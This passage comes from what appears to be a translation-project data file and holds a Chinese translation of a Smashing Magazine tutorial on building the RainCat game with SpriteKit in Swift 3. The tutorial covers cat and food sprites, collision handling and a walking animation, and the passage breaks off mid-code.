第一课内容所涉及的源代码。\n\n你完成的怎么样？你的代码实现是否和我的示例几乎一样？哪里有不同呢？你是否优化了示例代码？教程中是否有阐述不清晰的地方？请在评论中写下你的想法。\n\n感谢你坚持完成了第一课。让我们拭目以待 RainCat 第二课吧！\n\n#### 注释\n\n1. <a name=\"note-1\"></a>https://developer.apple.com/spritekit/\n2. <a name=\"note-2\"></a>https://www.smashingmagazine.com/wp-content/uploads/2016/10/raincat_header-preview-opt.png\n3. <a name=\"note-3\"></a>https://itunes.apple.com/us/app/raincat/id1152624676?ls=1&mt=8\n4. <a name=\"note-4\"></a>https://github.com/thirteen23/RainCat/releases/tag/smashing-magazine-initial-code\n5. <a name=\"note-5\"></a>https://developer.apple.com/library/content/referencelibrary/GettingStarted/DevelopiOSAppsSwift/Lesson4.html\n6. <a name=\"note-6\"></a>https://developer.apple.com/reference/spritekit/skscene\n7. <a name=\"note-7\"></a>https://www.raywenderlich.com/118225/introduction-sprite-kit-scene-editor\n8. <a name=\"note-8\"></a>https://github.com/thirteen23/RainCat/tree/smashing-day-1/dayOneAssets.zip\n9. <a name=\"note-9\"></a>https://www.smashingmagazine.com/wp-content/uploads/2016/10/App-assets-preview-opt.png\n10. <a name=\"note-10\"></a>https://developer.apple.com/reference/spritekit/sknode\n11. <a name=\"note-11\"></a>https://developer.apple.com/reference/spritekit/skphysicsbody\n12. <a name=\"note-12\"></a>https://developer.apple.com/reference/spritekit/skphysicsworld\n13. <a name=\"note-13\"></a>https://www.smashingmagazine.com/wp-content/uploads/2016/10/Empty-scene-preview-opt.png\n14. <a name=\"note-14\"></a>https://www.smashingmagazine.com/wp-content/uploads/2016/10/first-rain-fall.gif\n15. <a name=\"note-15\"></a>https://www.smashingmagazine.com/wp-content/uploads/2016/10/Raindrops-for-days-preview-opt.png\n16. <a name=\"note-16\"></a>http://www-numi.fnal.gov/offline_software/srt_public_context/WebDocs/Companion/cxx_crib/shift.html\n17. <a name=\"note-17\"></a>https://developer.apple.com/reference/spritekit/skphysicsbody/1519869-categorybitmask\n18. <a name=\"note-18\"></a>https://en.wikipedia.org/wiki/Mask_%28computing%29\n19. <a name=\"note-19\"></a>https://en.wikipedia.org/wiki/Bitwise_operation\n20. <a name=\"note-20\"></a>https://developer.apple.com/reference/spritekit/skphysicsworld\n21. <a name=\"note-21\"></a>https://www.smashingmagazine.com/wp-content/uploads/2016/10/happy-bouncing-raindrops.gif\n22. <a name=\"note-22\"></a>https://www.smashingmagazine.com/wp-content/uploads/2016/10/Background-preview-opt.png\n23. <a name=\"note-23\"></a>https://developer.apple.com/reference/spritekit/skspritenode#//apple_ref/occ/instp/SKSpriteNode/anchorPoint\n24. <a name=\"note-24\"></a>http://blog.fluidui.com/designing-for-mobile-101-pixels-points-and-resolutions/\n25. <a name=\"note-25\"></a>https://www.smashingmagazine.com/wp-content/uploads/2016/10/Umbrella-Close-up-large-opt.png\n26. <a name=\"note-26\"></a>https://www.smashingmagazine.com/wp-content/uploads/2016/10/Umbrella-Close-up-large-opt.png\n27. <a name=\"note-27\"></a>https://github.com/thirteen23/RainCat/releases/tag/smashing-magazine-lesson-one\n"
  },
  {
    "path": "TODO/how-to-build-a-spritekit-game-in-swift-3-part-2.md",
    "content": "\n> * 原文地址：[ How To Build A SpriteKit Game In Swift 3 (Part 2) ](https://www.smashingmagazine.com/2016/12/how-to-build-a-spritekit-game-in-swift-3-part-2/ )\n* 原文作者：[ Marc Vandehey ]( https://www.smashingmagazine.com/author/marcvandehey/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[ZiXYu](https://github.com/ZiXYu)\n* 校对者：[DeepMissea](https://github.com/DeepMissea), [Tuccuay](https://github.com/Tuccuay)\n\n## [ 如何在 Swift 3 中用 SpriteKit 框架编写游戏 (Part 2)](https://www.smashingmagazine.com/2016/12/how-to-build-a-spritekit-game-in-swift-3-part-2/)  ##\n\n你是否想过如何来开发一款 [SpriteKit](https://developer.apple.com/spritekit/)<sup>[\\[1\\]](#note-1)</sup> 游戏？实现碰撞检测会是个令人生畏的任务吗？你想知道如何正确的处理音效和背景音乐吗？随着 SpriteKit 的发布，在 iOS 上的游戏开发已经变得空前简单了。在本系列三部中的第二部分中，我们将继续探索 SpriteKit 的基础知识。\n\n如果你错过了 [之前的课程](https://www.smashingmagazine.com/2016/11/how-to-build-a-spritekit-game-in-swift-3-part-1/)<sup>[\\[2\\]](#note-2)</sup>，你可以通过获取 [ GitHub 上的代码](https://github.com/thirteen23/RainCat/releases/tag/smashing-magazine-lesson-one)<sup>[\\[3\\]](#note-3)</sup> 来赶上进度。请记住，本教程需要使用 Xcode 8 和 Swift 3。\n\n[![Raincat: 第二课](https://www.smashingmagazine.com/wp-content/uploads/2016/10/raincat_header_sm-preview-opt.png) ](https://www.smashingmagazine.com/wp-content/uploads/2016/10/raincat_header_sm-preview-opt.png)<sup>[\\[4\\]](#note-4)</sup>\n\nRainCat, 第二课\n\n在 [上一课](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-build-a-spritekit-game-in-swift-3-part-1.md)<sup>[\\[5\\]](#note-5)</sup> 中，我们创建了地板和背景，随机生成了雨滴并添加了雨伞。这把雨伞的精灵（译者注：sprite，中文译名精灵，在游戏开发中，精灵指的是以图像方式呈现在屏幕上的一个图像）中存在一个自定义的 `SKPhysicsBody`，是通过 `CGPath` 来生成的，同时我们启用了触摸检测，因此我们可以在屏幕范围内移动它。而且我们通过 `categoryBitMask` 和 `contactTestBitMask` 来实现了碰撞检测。我们在雨滴落到任何物体上时消除了碰撞，因此它们不会堆积起来，而是会在一次弹跳后穿过地板。最后，我们设置了一个世界边框来移除所有和它接触的 `SKNode`。\n\n本文中，我们将重点实现以下几点：\n\n- 生成猫\n- 实现猫的碰撞\n- 生成食物\n- 实现食物的碰撞\n- 使猫向食物移动\n- 创建猫的动画\n- 当猫接触雨滴时，使猫受到伤害\n- 添加音效和背景音乐\n\n### 获取资源\n\n你可以从 [GitHub](https://github.com/thirteen23/RainCat/blob/smashing-day-2/dayTwoAssets.zip)<sup>[\\[6\\]](#note-6)</sup> (ZIP) 上获取本课所需要的资源。下载图片后，通过一次性拖拽所有图片将它们添加到你的 `Assets.xcassets` 文件中。你现在应该有了包含猫动画和宠物碗的资源文件。我们之后将会添加音效和背景音乐文件。\n\n[![App 资源](https://www.smashingmagazine.com/wp-content/uploads/2016/10/App-assets-preview-opt-1.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/10/App-assets-large-opt.png)<sup>[\\[7\\]](#note-7)</sup>\n\n一大堆资源！ ([查看源文件](https://www.smashingmagazine.com/wp-content/uploads/2016/10/App-assets-large-opt.png))<sup>[\\[8\\]](#note-8)</sup>\n\n### 猫猫时间！ \n\n我们从添加游戏主角开始本期课程。我们首先在 “Sprites” 组下创建一个新文件，命名为 `CatSprite`。\n\n将如下代码添加到 `CatSprite.swift` 文件中：\n\n```\nimport SpriteKit\n\npublic class CatSprite : SKSpriteNode {\n  public static func newInstance() -> CatSprite {\n    let catSprite = CatSprite(imageNamed: \"cat_one\")\n\n    catSprite.zPosition = 5\n    catSprite.physicsBody = SKPhysicsBody(circleOfRadius: catSprite.size.width / 2)\n\n    return catSprite\n  }\n\n  public func update(deltaTime : TimeInterval) {\n\n  }\n}\n```\n\n在这个文件中，我们用了一个会返回猫精灵的静态初始化函数。在另一个 `update` 函数中，我们也使用了同样的方法。如果我们需要生成更多的精灵，我们应该尝试把这个函数变成一个 [协议](https://developer.apple.com/library/ios/documentation/Swift/Conceptual/Swift_Programming_Language/Protocols.html)<sup>[\\[9\\]](#note-9)</sup> 的一部分来生成合适的精灵。这里需要注意一点，对于猫精灵，我们使用的是一个圆形的 `SKPhysicsBody`。就像我们创建雨滴一样，我们当然可以使用纹理来创建猫的物理实体，但是这是一个有“美感”的决定。当猫被雨滴或雨伞碰到时， 与其让猫始终坐着，让猫在地上打滚显然更有趣一些。\n\n当猫接触雨滴或猫掉出该世界时，我们将需要回调函数来处理这些事件。我们可以打开 `Constants.swift` 文件，将下列代码加入该文件，使它作为一个 `CatCategory`：\n\n```\nlet CatCategory : UInt32 = 0x1 << 4\n```\n\n上面代码中定义的变量将决定猫的身体是哪个 `SKPhysicsBody`。让我们重新打开 `CatSprite.swift` 来更新猫精灵的状态，使它包含 `categoryBitMask` 和 `contactTestBitMask` 这两个属性。 在 `newInstance()` 返回 `catSprite` 之前，我们需要添加如下代码：\n\n```\ncatSprite.physicsBody?.categoryBitMask = CatCategory\ncatSprite.physicsBody?.contactTestBitMask = RainDropCategory | WorldCategory\n```\n\n现在，当猫被雨滴击中或者当猫跌出世界时，我们将会得到一个回调。在添加了如上代码后，我们需要将猫添加到场景中。\n\n在 `GameScene.swift` 文件的顶部, 初始化了 `umbrellaSprite` 之后， 我们需要添加如下代码:\n\n```\nprivate var catNode : CatSprite!\n```\n\n我们可以立刻在 `sceneDidLoad()` 里创建一只猫，但是我们更想要从一个单独的函数中来创建猫对象，以便于代码重用。`!` 告诉编译器，它并不需要在 `init` 语句中立即初始化，而且它应该不会是 `nil`。我们这么做有两个理由。首先，我们不想单独为了一个变量创建 `init()` 语句。其次，我们并不想立刻初始化猫精灵，只要在我们第一次运行 `spawnCat()` 时重新初始化和定位它就可以了。我们也可以用 `?` 来定义该变量，但是当我们第一次运行了 `spawnCat()` 函数后，我们的猫精灵就再也不会变成 `nil` 了。为了解决初始化问题和让我们头疼的拆包，我们会说使用感叹号来进行自动拆包是安全的操作。如果我们在初始化我们的猫对象前就使用了它，我们的应用就会闪退，因为我们告诉应用对猫对象进行拆包是安全的，然而它还没有初始化。在我们使用它之前，需要先在合适的函数中将它初始化\n\n接下来，我们将要在 `GameScene.swift` 文件中新建一个 `spawnCat()` 函数来初始化我们的猫精灵。我们会把这个初始化的部分拆分到一个单独的函数中，使这部分代码具有重用性，同时保证在场景里每次只有一只猫。\n\n在这个文件中接近底部的地方，`spawnRaindrop()` 函数后面添加如下代码：\n\n```\nfunc spawnCat() {\n  if let currentCat = catNode, children.contains(currentCat) {\n    catNode.removeFromParent()\n    catNode.removeAllActions()\n    catNode.physicsBody = nil\n  }\n\n  catNode = CatSprite.newInstance()\n  catNode.position = CGPoint(x: umbrellaNode.position.x, y: umbrellaNode.position.y - 30)\n\n  addChild(catNode)\n}\n```\n\n纵观这段函数，我们首先检查了猫对象是否为空。然后，我们检查了这个场景中是否已经存在了一个猫对象。如果这个场景内已经存在了一只小猫，我们就要从父类中移除它，移除它现在正在进行的所有操作，并清除这个猫对象的 `SKPhysicsBody`。而这些操作仅仅会在猫掉出该世界时被触发。在这之后，我们会重新初始化一个新的猫对象，同时设定它的初始位置为伞下 30 像素的地方。其实我们可以在任何位置初始化我们的猫对象，但是我想这个位置总比直接从天空中把猫丢下来好一些。\n\n最后，在 `sceneDidLoad()` 函数中，在我们定位并添加了雨伞之后，调用 `spawnCat()` 函数：\n\n```\numbrellaNode.zPosition = 4\naddChild(umbrellaNode)\n\nspawnCat()\n```\n\n现在我们可以运行我们的应用啦！\n\n[![应用资源](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Cat-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Cat-large-opt.png)<sup>[\\[10\\]](#note-10)</sup>\n\n猫 ([查看源文件](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Cat-large-opt.png))<sup>[\\[11\\]](#note-11)</sup>\n\n如果现在猫碰到雨滴或是雨伞，它将会在地上打滚。这时候，猫可能会滚出屏幕然后在接触世界边框的一瞬间被删除掉，那么，我们就需要重新生成猫对象了。因为现在回调函数会在当猫接触到雨滴时或猫掉出世界时被触发，所以我们可以在 `didBegin(_ contact:)` 函数中来处理这个碰撞事件。\n\n我们想要在猫触碰到雨滴后和触碰世界边框后触发不同的事件，所以我们把这些逻辑拆分到了一个新的函数中。在 `GameScene.swift` 文件的底部， `didBegin(_ contact:)` 函数的后面，加上如下代码：\n\n```\nfunc handleCatCollision(contact: SKPhysicsContact) {\n  var otherBody : SKPhysicsBody\n\n  if contact.bodyA.categoryBitMask == CatCategory {\n    otherBody = contact.bodyB\n  } else {\n    otherBody = contact.bodyA\n  }\n\n  switch otherBody.categoryBitMask {\n  case RainDropCategory:\n    print(\"rain hit the cat\")\n  case WorldCategory:\n    spawnCat()\n  default:\n    print(\"Something hit the cat\")\n  }\n}\n```\n\n在这段代码中，我们在寻找除了猫以外的物理实体（physics body）。在我们发现其他实体对象时，我们就需要判断是什么触碰了猫。现在，如果是雨滴在猫身上，我们只在控制台中输出这个碰撞发生了，而如果是猫触碰了这个游戏世界的边缘，我们就会重新生成一个猫对象。\n\n如果（什么东西）与猫对象发生接触，我们就调用这个函数。时那么，让我们用如下代码来更新 `didBegin(_ contact:)` 函数：\n\n```\nfunc didBegin(_ contact: SKPhysicsContact) {\n  if (contact.bodyA.categoryBitMask == RainDropCategory) {\n    contact.bodyA.node?.physicsBody?.collisionBitMask = 0\n  } else if (contact.bodyB.categoryBitMask == RainDropCategory) {\n    contact.bodyB.node?.physicsBody?.collisionBitMask = 0\n  }\n\n  if contact.bodyA.categoryBitMask == CatCategory || contact.bodyB.categoryBitMask == CatCategory {\n    handleCatCollision(contact: contact)\n\n    return\n  }\n\n  if contact.bodyA.categoryBitMask == WorldCategory {\n    contact.bodyB.node?.removeFromParent()\n    contact.bodyB.node?.physicsBody = nil\n    contact.bodyB.node?.removeAllActions()\n  } else if contact.bodyB.categoryBitMask == WorldCategory {\n    contact.bodyA.node?.removeFromParent()\n    contact.bodyA.node?.physicsBody = nil\n    contact.bodyA.node?.removeAllActions()\n  }\n}\n```\n\n我们在移除雨滴碰撞和移除离屏节点中间插入了一个条件判断。这个 `if` 语句判断了碰撞物体是不是猫，然后我们在 `handleCatCollision(contact:)` 函数中处理猫的行为。\n\n我们现在可以用雨伞把猫推出屏幕来测试猫的重生函数了。我们会看到，猫将在伞下重新被定义出来。请注意，如果雨伞的底部低于地板，那么猫就会一直从屏幕中掉出去。到现在为止这并不是什么大问题，但是我们之后会提供一个方法来解决它。\n\n### 生成食物\n\n现在看来，是时候生成一些食物来喂我们的小猫了。当然了，现在猫并不能自己移动，不过我们一会可以修复这个问题。在创建食物精灵之前，我们可以先在 `Constants.swift` 文件中为食物新建一个类。让我们在 `CatCategory` 中添加如下代码：\n\n```\nlet FoodCategory : UInt32 = 0x1 << 5\n```\n\n上面代码中定义的变量将决定食物的物理对象是哪个 `SKPhysicsBody`。在“Sprites”组中，我们用创建 `CatSprite.swift` 文件同样的方法新建一个名为 `FoodSprite.swift` 的文件，并在该文件中添加如下代码：\n\n```\nimport SpriteKit\n\npublic class FoodSprite : SKSpriteNode {\n  public static func newInstance() -> FoodSprite {\n    let foodDish = FoodSprite(imageNamed: \"food_dish\")\n\n    foodDish.physicsBody = SKPhysicsBody(rectangleOf: foodDish.size)\n    foodDish.physicsBody?.categoryBitMask = FoodCategory\n    foodDish.physicsBody?.contactTestBitMask = WorldCategory | RainDropCategory | CatCategory\n    foodDish.zPosition = 5\n\n    return foodDish\n  }\n}\n```\n\n这是一个静态的函数，当它被调用时，将会初始化一个 `FoodSprite` 并且返回它。我们把食物的物理实体设置为一个和食物精灵同样大小的矩形。因为食物精灵本身就是一个矩形。接下来，我们把物理对象的种类设置为我们刚刚创建的 `FoodCategory` ，然后把它添加到它可能会碰撞的对象（世界边框，雨滴和猫）中。我们把食物和猫的 `zPosition` 设置成相同的，这样它们将永远不会重叠，因为当它们相遇时，食物就会被删除然后玩家将会得到一分。\n\n重新打开 `GameScene.swift` 文件，我们需要添加一些功能来生成和移除食物。在这个文件的顶部，`rainDropSpawnRate` 变量的下面，我们添加如下代码：\n\n```\nprivate let foodEdgeMargin : CGFloat = 75.0\n```\n\n这个变量将会作为生成食物时的外边距。我们不想将食物生成在离屏幕两侧特别近的位置。我们把这个值定义在文件的顶部，这样如果我们之后要改变这个值的时候就不用搜索整个文档了。接下来，在我们的 `spawnCat()` 函数下面，我们可以新增我们的 `spawnFood` 函数了。\n\n```\nfunc spawnFood() {\n  let food = FoodSprite.newInstance()\n  var randomPosition : CGFloat = CGFloat(arc4random())\n  randomPosition = randomPosition.truncatingRemainder(dividingBy: size.width - foodEdgeMargin * 2)\n  randomPosition += foodEdgeMargin\n\n  food.position = CGPoint(x: randomPosition, y: size.height)\n\n  addChild(food)\n}\n```\n\n这个函数和我们的 `spawnRaindrop()` 函数几乎一模一样。我们新建了一个 `FoodSprite`，然后把它放在了屏幕上一个随机的位置 `x`。这里我们用了之前设定的外边距（margin）变量来限制了能够生成食物精灵的屏幕范围。首先，我们设置了随机位置的范围为屏幕的宽度减去 2 乘以外边距。然后，我们用外边距来偏移起始位置。这使得食物不会生成在任意距屏幕边界 0 到 75 的位置里。\n\n在 `sceneDidLoad()` 文件接近顶部的位置，让我们在 `spawnCat()` 函数的初始化调用下面加上如下代码：\n\n```\nspawnCat()\nspawnFood()\n```\n\n现在当场景加载时，我们会生成一把雨伞，雨伞下面有一只猫，还有一些从天上掉下来的雨滴和食物。现在雨滴可以和猫（译者注：原文写的是 food，百分百是写错了）互动，让它来回滚动了。对食物来说，它跟雨滴碰到雨伞和地板一样，反弹一次然后失去所有的碰撞属性，直到触碰到世界边界后被删除。我们也同样需要添加一些食物和猫的互动。\n\n在 `GameScene.swift` 文件的底部，我们将添加所有有关于食物碰撞的代码。让我们在 `handleCatCollision()` 函数后添加如下代码：\n\n```\nfunc handleFoodHit(contact: SKPhysicsContact) {\n  var otherBody : SKPhysicsBody\n  var foodBody : SKPhysicsBody\n\n  if(contact.bodyA.categoryBitMask == FoodCategory) {\n    otherBody = contact.bodyB\n    foodBody = contact.bodyA\n  } else {\n    otherBody = contact.bodyA\n    foodBody = contact.bodyB\n  }\n\n  switch otherBody.categoryBitMask {\n  case CatCategory:\n    //TODO increment points\n    print(\"fed cat\")\n    fallthrough\n  case WorldCategory:\n    foodBody.node?.removeFromParent()\n    foodBody.node?.physicsBody = nil\n\n    spawnFood()\n  default:\n    print(\"something else touched the food\")\n  }\n}\n```\n\n在这个函数中，我们将用和处理猫碰撞同样的方式来处理食物碰撞。首先，我们定义了食物的物理实体，然后我们用了一个 `switch` 语句来判断除食物之外的物理实体。接着，我们添加了一个 `CatCategory` 条件分支 - 这是个预留的接口，我们之后可以添加代码来更新游戏分数。接下来我们 `fallthrough` 到 `WorldFrameCategory` 分支语句，这里我们需要从场景里移除食物精灵和它的物理实体。最后，我们需要重新生成食物。总而言之，当食物触碰到了世界边界，我们只需要移除食物精灵和它的物理实体。如果食物触碰到了其它物理实体，那么 default 分支语句就会被触发然后在控制台打印一个通用语句。现在，唯一能触发这个语句的物理实体就是 `RainDropCategory`。而到现在为止，我们并不关心当雨击中食物时会发生什么。我们只希望雨滴和食物在击中地板或雨伞时有同样的表现。\n\n为了让所有部分连接起来，我们将在 `didBegin(_ contact)` 函数中添加几行代码。在判断 `CatCategory` 之前添加如下代码：\n\n```\nif contact.bodyA.categoryBitMask == FoodCategory || contact.bodyB.categoryBitMask == FoodCategory {\n  handleFoodHit(contact: contact)\n  return\n}\n```\n\n`didBegin(_ contact)` 最后应该看起来像这样：\n\n```\nfunc didBegin(_ contact: SKPhysicsContact) {\n  if (contact.bodyA.categoryBitMask == RainDropCategory) {\n    contact.bodyA.node?.physicsBody?.collisionBitMask = 0\n  } else if (contact.bodyB.categoryBitMask == RainDropCategory) {\n    contact.bodyB.node?.physicsBody?.collisionBitMask = 0\n  }\n\n  if contact.bodyA.categoryBitMask == FoodCategory || contact.bodyB.categoryBitMask == FoodCategory {\n    handleFoodHit(contact: contact)\n\n    return\n  }\n\n  if contact.bodyA.categoryBitMask == CatCategory || contact.bodyB.categoryBitMask == CatCategory {\n    handleCatCollision(contact: contact)\n\n    return\n  }\n\n  if contact.bodyA.categoryBitMask == WorldCategory {\n    contact.bodyB.node?.removeFromParent()\n    contact.bodyB.node?.physicsBody = nil\n    contact.bodyB.node?.removeAllActions()\n  } else if contact.bodyB.categoryBitMask == WorldCategory {\n    contact.bodyA.node?.removeFromParent()\n    contact.bodyA.node?.physicsBody = nil\n    contact.bodyA.node?.removeAllActions()\n  }\n}\n```\n\n我们再次运行我们的应用。猫现在还不会自己跑来跑去，但是我们可以通过把食物推出屏幕边界或把猫移动到食物上来测试我们的函数。两个情况都会删除食物节点，而其中一个情况则会从屏幕外重新生成食物。\n\n### 让物理实体动起来吧\n\n现在是时候让我们的小猫动起来了。是什么驱使了小猫移动呢？当然是食物啦！我们刚刚生成了食物，那么现在我们就需要让小猫向着食物移动啦。现在我们的食物精灵被添加到了场景中，然后就被遗忘了。我们需要修正这个问题。如果我们能够保留食物的引用（reference），我们就可以知道它在任何时候的位置，这样我们就可以告诉小猫食物在场景的哪个位置了。小猫可以通过检查自己的坐标来了解自己在场景中的哪个位置。有了这些位置信息，我们就可以让小猫向着食物移动了。\n\n重新打开 `GameScene.swift` 文件，让我们在文件的顶部，猫变量的下面添加一个变量：\n\n```\nprivate var foodNode : FoodSprite!\n```\n\n现在我们可以更新 `spawnFood()` 函数，使每次食物生成时都会刷新这个变量的值。\n\n用如下代码更新 `spawnFood()` 函数：\n\n```\nfunc spawnFood() {\n  if let currentFood = foodNode, children.contains(currentFood) {\n    foodNode.removeFromParent()\n    foodNode.removeAllActions()\n    foodNode.physicsBody = nil\n  }\n\n  foodNode = FoodSprite.newInstance()\n  var randomPosition : CGFloat = CGFloat(arc4random())\n  randomPosition = randomPosition.truncatingRemainder(dividingBy: size.width - foodEdgeMargin * 2)\n  randomPosition += foodEdgeMargin\n\n  foodNode.position = CGPoint(x: randomPosition, y: size.height)\n\n  addChild(foodNode)\n}\n```\n\n这个函数将把食物变量的作用域从 `spawnFood()` 函数变为整个 `GameScene.swift` 文件。在我们的代码中，同一时间我们只会生成一个 `FoodSprite`，同时我们需要保持对它的引用。因为有这个引用，我们就可以检测到在任何时间食物的位置了。同样的，在任何时间场景内也只会有一只猫，同样我们也需要保持对它的引用。\n\n我们知道小猫想要获得食物，我们只需要提供一个方法让小猫能够移动。我们需要编辑 `CatSprite.swift` 文件以便我们知道小猫需要往哪个方向前进来获取食物。为了让小猫获得食物，我们还需要知道小猫的移动速度。在 `CatSprite.swift` 文件的顶部，我们可以在 `newInstance()` 函数前添加如下代码：\n\n```\nprivate let movementSpeed : CGFloat = 100\n```\n\n这一行代码定义了猫的移动速度，这是对一个复杂问题的简单解法。我们用了一个简单的线性方程，不考虑任何摩擦和加速。\n\n现在我们需要在我们的 `update(deltaTime:)` 方法中做点什么了。因为我们已经知道了食物的位置，我们需要让小猫朝着这个位置移动了。用如下代码更新 `CatSprite.swift` 文件中的 update 函数：\n\n```\npublic func update(deltaTime : TimeInterval, foodLocation: CGPoint) {\n  if foodLocation.x < position.x {\n    //Food is left\n    position.x -= movementSpeed * CGFloat(deltaTime)\n    xScale = -1\n  } else {\n    //Food is right\n    position.x += movementSpeed * CGFloat(deltaTime)\n    xScale = 1\n  }\n}\n```\n\n我们更新了这个函数的函数签名（signature）。因为我们需要告诉小猫食物的位置，所以在传参时，我们不仅传递了 delta 时间，也传递了食物的位置信息。因为很多事情可以影响食物的位置，所以我们需要不停地更新食物的位置信息，以保证小猫一直在正确的方向上前进。接下来，让我们来看一下函数的功能。在这个更新过的函数中，我们取的 delta 时间是一个非常短的时间，大约只有 0.166 秒左右。我们也取了食物的位置，是 `CGPoint` 类型的参数。如果食物的 `x` 位置比小猫的 `x` 位置更小，那么我们就知道食物在小猫的左边，反之，食物就在小猫的上边或右边。如果小猫朝左边移动，那么我们取小猫的 `x` 位置减去小猫的移动速度乘以 delta 时间。我们需要把 delta 时间的类型从 `TimeInterval` 转换到 `CGFloat`，因为我们的位置和速度变量用的是这个单位，而 Swift 恰恰是一种强类型语言。\n\n这个效果实际上是以一个恒定的速率将小猫往左边推，让它看起来像是在移动。在这里，每隔 0.166 秒，我们就将猫精灵放在上一位置左边 16.6 单位的位置上。这是因为我们的 `movementSpeed` 变量是 100，而 0.166 × 100 = 16.6。小猫往右边移动时进行一样的处理，除了我们是将猫精灵放在上一位置右边 16.6 单位的位置上。接下来，我们设定了我们猫的 [xScale](https://developer.apple.com/reference/spritekit/sknode/1483087-xscale)<sup>[\\[12\\]](#note-12)</sup> 属性。这个值决定了猫精灵的宽度。默认值是 1.0，如果我们把 `xScale` 设置成 0.5，猫的宽度就会变成之前的一半。如果我们把这个值翻倍到 2.0，那么猫的宽度就会变成之前的一倍，以此类推。因为原始的猫精灵是面朝右边的，当猫朝着右边移动时，xScale 值会被设定为默认的 1。如果我们想要“翻转”猫精灵，我们就把 xScale 设置成 -1，这会把猫的 frame 值置为负数并且反向渲染。我们把这个值保持在 -1 来保证猫精灵的比例一致。现在，当猫朝左边移动时，它会面朝左边，当猫朝右边移动时，它会面朝右边。\n\n现在小猫会以一个恒定的速率朝着食物的位置移动了。首先，我们确定了小猫需要移动的方向，之后让小猫在 x 轴上朝着那个方向移动。我们同样也需要更新猫的  `xScale` 参数，因为我们希望小猫可以在移动时面朝正确的方向。除非我们希望小猫在用太空步移动！最后，我们需要告诉小猫来更新我们的游戏场景。\n\n打开 `GameScene.swift` 文件，找到我们的 `update(_ currentTime:)` 函数，在更新雨伞的调用下面，新增如下代码：\n\n```\ncatNode.update(deltaTime: dt, foodLocation: foodNode.position)\n```\n\n运行我们的应用，然后成功！最起码是在绝大多数情况下。到现在为止，小猫会朝着食物移动了，但是却可能会陷入一些有意思的情况里。\n\n只是一只小猫做着小猫该做的事\n\n接下来，我们就要来添加移动动画啦！在这之后，我们会绕回来解决猫被打中后的滚动效果。你可能已经注意到了一个名为 `cat_two` 的未使用资源。我们需要添加这个纹理，并且穿插使用它，使小猫看起来像在行走。为了实现这个，我们需要添加我们第一个 `SKAction`！\n\n### 行走样式\n\n在 `CatSprite.swift` 文件的顶部，我们将要添加一个字符串常量，以便我们添加一个与该键值相关联的步行动作。这样做使得我们可以单独停止猫的步行动作，而不是移除之后可能会添加的所有动作。在 `movementSpeed` 变量前添加如下代码：\n\n```\nprivate let walkingActionKey = \"action_walking\"\n```\n\n这个字符串本身并不是那么重要，但是它是步行动画的标志位。我也很喜欢在给键值命名时添加一些有意义的字段，以方便调试。例如，当我看到这个键值时，我会知道这是个 `SKAction`，具体来说，是个步行动作。\n\n在 `walkingActionKey` 的下面，我们将会添加图像帧。因为我们只会使用两个不同的图象帧，我们可以把它放在文件的顶部：\n\n```\nprivate let walkFrames = [\n  SKTexture(imageNamed: \"cat_one\"),\n  SKTexture(imageNamed: \"cat_two\")\n]\n```\n\n这只是个包含了两个纹理的数组，而这两个纹理是在猫行走时需要交替使用的。为了完成这个功能，我们需要用如下代码更新我们的 `update(deltaTime: foodLocation:)` 函数：\n\n```\npublic func update(deltaTime : TimeInterval, foodLocation: CGPoint) {\n  if action(forKey: walkingActionKey) == nil {\n    let walkingAction = SKAction.repeatForever(\n      SKAction.animate(with: walkFrames,\n                       timePerFrame: 0.1,\n                       resize: false,\n                       restore: true))\n\n    run(walkingAction, withKey:walkingActionKey)\n  }\n\n  if foodLocation.x < position.x {\n    //Food is left\n    position.x -= movementSpeed * CGFloat(deltaTime)\n    xScale = -1\n  } else {\n    //Food is right\n    position.x += movementSpeed * CGFloat(deltaTime)\n    xScale = 1\n  }\n}\n```\n\n通过此更新，我们检查了我们的猫精灵是否已经在运行步行动画序列了。如果没有，那么我们就会将步行动画添加到猫精灵上。这是个嵌套的 `SKAction`。首先，我们新建了一个会一直重复的动作。然后，在*那个*动作里，我们新建了步行的动画序列。 `SKAction.animate(with: …)` 函数会接收动画帧数组，以及每帧持续的时间。 函数中接收的下一个变量确定了其中的纹理是否具有不一样的大小，同时当该纹理在动画帧上生效时是否需要调整 `SKSpriteNode` 的大小。 `Restore` 确定了当动画结束时，精灵是否需要重置到它的初始状态。我们把这两个值都设置成了 `false`，这样就不会有什么出人意料的事情发生了。在我们设定好了步行动画之后，我们就可以通过运行 `run()` 函数来让猫精灵开始行走了。\n\n再次运行我们的应用，我们将看到我们的小猫专心致志地朝着食物移动啦！\n\nYeah, on the catwalk, on the catwalk, yeah I do my little turn on the catwalk（译者注：这是 “I am Too Sexy” 的歌词）.\n\n如果在这个过程中，小猫被击中，它会打滚，但是仍旧朝着食物移动。我们需要显示小猫的受损状态，以便用户知道他们做了什么不好的事。同样的，我们需要修正小猫在移动过程中的打滚动作，以保证小猫不会在乱七八糟的方向上移动。\n\n让我们来看一下我们的计划。我们希望能够显示小猫被击中了，而不是仅仅更新游戏得分。有些游戏会使该受损单位闪烁并且进入无敌状态。如果我们有纹理的话，我们也可以做一个受损动画。对这个游戏而言，我想保持它的简单性，所以我只添加了一些“摇动”功能。当小猫被雨滴击中时，它会被晕眩然后不可置信地翻倒；它会被*震惊*，因为玩家居然让这种事发生了。为了实现这个功能，我们会定义一些变量。我们需要知道小猫会被晕眩多长时间和它已经被晕眩了多长时间。在这个文件的顶部， `movementSpeed` 变量的下面添加如下代码：\n\n```\nprivate var timeSinceLastHit : TimeInterval = 2\nprivate let maxFlailTime : TimeInterval = 2\n```\n\n第一个变量， `timeSinceLastHit` 保存了自小猫上次被打中后过了多长时间。因为下一个变量 `maxFlailTime`，我们把这个值设置成 `2`。`maxFlailTime` 变量是个常数，表示小猫每次会被晕眩 2 秒钟。我们把这两个值都被设置成 2，这样小猫就不会在生成的一瞬间就被晕眩了。你可以尝试着重新设定这两个值，来确定最好的晕眩时间。\n\n现在，我们需要添加一个函数，让小猫知道它被打中了，它需要通过停止移动来对此做出反应。在我们的 `update(deltaTime: foodLocation:)` 函数下添加如下代码：\n\n```\npublic func hitByRain() {\n  timeSinceLastHit = 0\n  removeAction(forKey: 